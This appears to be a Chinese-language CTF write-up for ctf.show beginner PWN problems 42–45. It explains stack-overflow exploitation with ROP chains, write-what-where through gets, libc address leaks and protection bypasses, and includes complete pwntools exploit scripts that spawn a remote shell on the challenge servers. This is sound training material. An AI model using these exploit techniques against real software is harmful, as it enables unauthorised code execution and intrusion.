1. PWN入门42题解析:64位栈溢出与ROP链构造
1.1 题目分析与漏洞定位
这道题目是一个典型的64位栈溢出漏洞利用案例。首先我们通过checksec检查程序保护机制:
- 64位程序
- 没有可执行段(NX enabled)
- 没有开启PIE(地址随机化关闭)
这些信息告诉我们几个关键点:
- 栈上不可执行shellcode,必须采用ROP技术
- 程序加载地址固定,便于计算gadget地址
- 可以使用传统的栈溢出攻击方式
在IDA中分析程序,可以发现main函数调用了存在漏洞的函数,该函数使用了不安全的gets()函数接收用户输入,造成了栈溢出漏洞。通过计算可以确定溢出点到返回地址的偏移量为0xa + 0x8(填充缓冲区 + 保存的rbp)。
1.2 ROP链设计与构造
64位程序与32位的主要区别在于参数传递方式。64位程序前六个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),因此我们需要找到pop rdi的gadget来控制第一个参数。
关键组件获取:
- 使用ROPgadget工具找到pop rdi; ret的地址:0x0000000000400843
- 找到ret指令地址:0x000000000040053e(用于堆栈对齐)
- 程序中已经存在system函数和"/bin/sh"字符串
构造ROP链的顺序:
- 填充缓冲区
- pop rdi将"/bin/sh"地址放入rdi
- ret指令对齐栈
- 调用system函数
注意:64位调用约定要求栈指针在函数调用时16字节对齐。由于我们覆盖返回地址时已经push了一次(模拟call指令),所以需要额外添加一个ret来平衡栈。
1.3 完整EXP与调试技巧
python复制from pwn import *
context(arch='amd64', os='linux')
io = remote("pwn.challenge.ctf.show", "28142")
offset = 0xa + 0x8
pop_rdi = 0x0000000000400843
ret = 0x000000000040053e
sh_addr = 0x0000000000400872
system_addr = 0x0000000000400560
payload = flat([
b'a' * offset,
pop_rdi,
sh_addr,
ret, # 栈对齐
system_addr
])
io.sendline(payload)
io.interactive()
调试技巧:
- 使用cyclic生成测试pattern,确定精确偏移
- gdb调试时,在关键gadget处设置断点,观察寄存器状态
- 检查栈指针是否16字节对齐(rsp & 0xf == 0)
2. PWN入门43题解析:32位可写段利用
2.1 题目特点分析
这道题目是32位环境下的栈溢出,检查sec显示:
- 32位程序
- 有可写段(.data或.bss)
- 没有canary和PIE
关键发现:
- 程序中有system函数但没有"/bin/sh"字符串
- 存在可写内存区域(通过GDB检查确认)
- 有gets函数可以用于写入数据
2.2 利用思路设计
由于缺少"/bin/sh"字符串,我们需要自己写入。基本思路:
- 第一次溢出调用gets函数,将"/bin/sh"写入可写区域
- 第二次调用system函数,参数指向我们写入的字符串
这种技术称为"write-what-where",在CTF中很常见。需要注意:
- 选择的可写地址不能影响程序正常运行
- 确保地址可写(通过GDB的vmmap检查)
- 32位参数通过栈传递,构造payload时要注意参数位置
2.3 EXP构造与优化
python复制from pwn import *
context(arch='i386', os='linux')
io = remote("pwn.challenge.ctf.show", "28154")
offset = 0x6C + 0x4
bin_sh_addr = 0x804c000 - 16 # 可写区域地址
system_addr = 0x08048450
gets_addr = 0x08048420
payload = flat([
b'a' * offset,
gets_addr, # 返回地址覆盖为gets
system_addr, # gets返回后执行system
bin_sh_addr, # gets的参数:写入地址
bin_sh_addr # system的参数:字符串地址
])
io.sendline(payload)
io.sendline(b"/bin/sh\x00") # 确保字符串以null结尾
io.interactive()
优化点:
- 使用flat()函数简化payload构造
- 显式添加字符串终止符\x00
- 选择的可写地址留有足够空间(-16是为了安全边际)
3. PWN入门44题解析:64位可写段利用
3.1 64位与32位利用的区别
这道题与43题类似,但是是64位环境,主要区别:
- 参数通过寄存器传递(rdi)
- 需要处理栈对齐问题
- gadget的寻找方式不同
检查发现:
- 有system和gets函数
- 存在可写内存区域
- 需要pop rdi gadget控制参数
3.2 分阶段攻击设计
64位环境下构造这种攻击需要更复杂的ROP链:
- 第一阶段:调用gets函数写入"/bin/sh"
- 设置rdi = 可写地址
- 调用gets
- 第二阶段:调用system执行命令
- 设置rdi = "/bin/sh"地址
- 调用system
每步之间需要用ret指令保持栈平衡。
3.3 完整EXP实现
python复制from pwn import *
context(arch='amd64', os='linux')
io = remote("pwn.challenge.ctf.show", "28118")
system_addr = 0x0000000000400520
gets_addr = 0x0000000000400530
ret_addr = 0x00000000004004fe
rdi_addr = 0x00000000004007f3
binsh_addr = 0x603000 - 16
offset = 0xA + 0x8
payload = flat([
b'a' * offset,
# 第一阶段:调用gets写入"/bin/sh"
rdi_addr,
binsh_addr,
ret_addr, # 栈对齐
gets_addr,
# 第二阶段:调用system
rdi_addr,
binsh_addr,
ret_addr, # 栈对齐
system_addr
])
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()
常见问题:
- 如果gets后程序崩溃,检查栈是否平衡
- 确保写入的地址可写且不会破坏关键数据
- 64位地址注意小端序和地址有效性(不能有null字节)
4. PWN入门45题解析:libc地址泄露与计算
4.1 题目难点分析
这道题的特点是:
- 没有直接提供system函数
- 没有"/bin/sh"字符串
- 需要利用libc中的函数
解决方法是通过泄露libc函数地址,计算libc基址,然后定位system和"/bin/sh"。
4.2 libc地址泄露原理
libc特性:
- 函数相对偏移固定
- ASLR只随机化基址,低12位不变
- 通过GOT表可以获取函数实际地址
泄露步骤:
- 调用puts等输出函数,打印GOT表中某个函数地址
- 根据泄露的地址计算libc基址
- 计算system和"/bin/sh"的实际地址
4.3 完整利用流程
python复制from pwn import *
context(arch='i386', os='linux')
elf = ELF('./pwn')
libc = ELF("/home/ctfshow/libc/32bit/libc-2.27.so")
p = remote('pwn.challenge.ctf.show', 28188)
offset = 0x6B + 0x4
# 第一阶段:泄露puts地址
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow_func = elf.symbols['ctfshow']
payload = flat([
cyclic(offset),
puts_plt, # 调用puts
ctfshow_func, # puts返回地址
puts_got # puts参数
])
p.sendline(payload)
leak = p.recvuntil(b'\xf7')[-4:] # 接收泄露的地址
puts_real = u32(leak)
# 计算libc基址和关键函数地址
libc.address = puts_real - libc.symbols['puts']
system = libc.symbols['system']
bin_sh = next(libc.search(b'/bin/sh'))
# 第二阶段:调用system
payload2 = flat([
cyclic(offset),
system,
0x0, # 返回地址占位
bin_sh
])
p.sendline(payload2)
p.interactive()
关键点:
- 选择泄露的函数最好是常用函数(如puts, write, printf)
- 需要知道使用的libc版本(可通过泄露多个函数地址比对确定)
- 32位参数通过栈传递,64位需要通过寄存器
4.4 高级技巧:DynELF使用
当不知道libc版本时,可以使用pwntools的DynELF:
python复制def leak(addr):
payload = flat([
b'a'*offset,
puts_plt,
start_addr,
addr
])
p.sendline(payload)
data = p.recv(4)
return data
d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
这种方法不需要知道具体libc版本,但效率较低。
5. 通用技巧与问题排查
5.1 常见问题解决方案
-
栈偏移计算不准:
- 使用cyclic生成pattern
- gdb调试观察崩溃时的寄存器状态
- 注意32位和64位环境下rbp大小的区别
-
ROP链不工作:
- 检查gadget是否完整(使用ROPgadget --binary验证)
- 64位注意栈对齐问题
- 确保参数传递正确(寄存器或栈位置)
-
泄露的地址不正确:
- 检查接收函数是否正确(recvuntil/recvline)
- 验证小端序转换
- 确保输出没有被缓冲
5.2 性能优化技巧
-
使用pwntools功能:
python复制elf = context.binary = ELF('./pwn') rop = ROP(elf) rop.system(next(elf.search(b'/bin/sh'))) payload = flat([b'a'*offset, rop.chain()]) -
自动化查找gadget:
python复制pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] -
多阶段攻击简化:
python复制# 第一阶段 payload1 = fit({offset: rop.call('gets', elf.bss())}) # 第二阶段 payload2 = fit({offset: rop.call('system', elf.bss())})
5.3 防御绕过技巧
-
有NX保护:
- 使用ROP
- 考虑ret2dlresolve技术
-
有ASLR/PIE:
- 泄露地址计算基址
- 使用部分覆盖绕过
-
有Stack Canary:
- 泄露canary值
- 覆盖为已知值(如fork服务)
- 使用其他漏洞(如格式化字符串)
在实际CTF比赛中,理解这些基础技术的原理和变种非常重要。建议从简单的栈溢出开始,逐步掌握更高级的技术,如堆利用、内核利用等。